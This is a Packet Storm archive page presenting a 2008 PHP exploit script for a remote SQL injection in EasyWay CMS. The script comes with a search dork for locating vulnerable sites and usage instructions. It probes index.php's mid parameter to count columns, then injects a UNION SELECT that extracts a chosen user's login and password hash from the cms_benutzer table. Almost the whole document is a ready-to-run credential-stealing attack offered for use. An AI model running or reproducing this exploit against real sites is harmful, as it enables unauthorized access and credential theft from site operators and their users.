what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

easyway-sql.txt

easyway-sql.txt
Posted May 31, 2008
Authored by Lidloses_Auge

EasyWay CMS remote SQL injection exploit that takes advantage of index.php.

tags | exploit, remote, php, sql injection
SHA-256 | 5ec8cbbe815badf339f3686ec3929f8452173838b9bb8a3a139435935a35bba1

easyway-sql.txt

Change Mirror Download
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
# EasyWay CMS - SQL Injection Exploit
#
# Vulnerability discovered by: Lidloses_Auge
# Exploit coded by: Lidloses_Auge
# Greetz to: -=Player=- , Suicide, g4ms3, enco,
# GPM, Free-Hack
# Date: 30.05.2008
# Developer: http://www.ta-edv.de/index.php?lg=de&css=1&mid=320&art=1
#
###############################################################
#
# Dork: inurl:"index.php?css=mid=art="
# Admin Panel: [Target]/cms/
# Usage: php '.$argv[0].' [Target] [Userid]
# Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
# => php '.$argv[0].' http://www.site.com 1
#
###############################################################
');
if ($argc == 3) {
echo "\nExploiting in progress:";
$url = $argv[1];
$source = file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount = substr_count($source,'not a valid MySQL');
$sql = '/index.php?mid=null+union+select+';
for ($i = 25; $i>=1; $i--) {
$source = file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
if (substr_count($source,'not a valid MySQL')!=$errorcount) {
$errorcount2 = $i;
$i = 1;
}
}
for ($j=1; $j<$errorcount2; $j++) {
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';
}
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source = file_get_contents($url.$sql);
echo "\n";
if (strpos($source,'::::')!=0) {
echo 'User: '.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5)."\n";
echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
echo 'Exploit failed!'."\n";
}
} else {
echo "\nNot enough arguments!\n";
}
?>
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close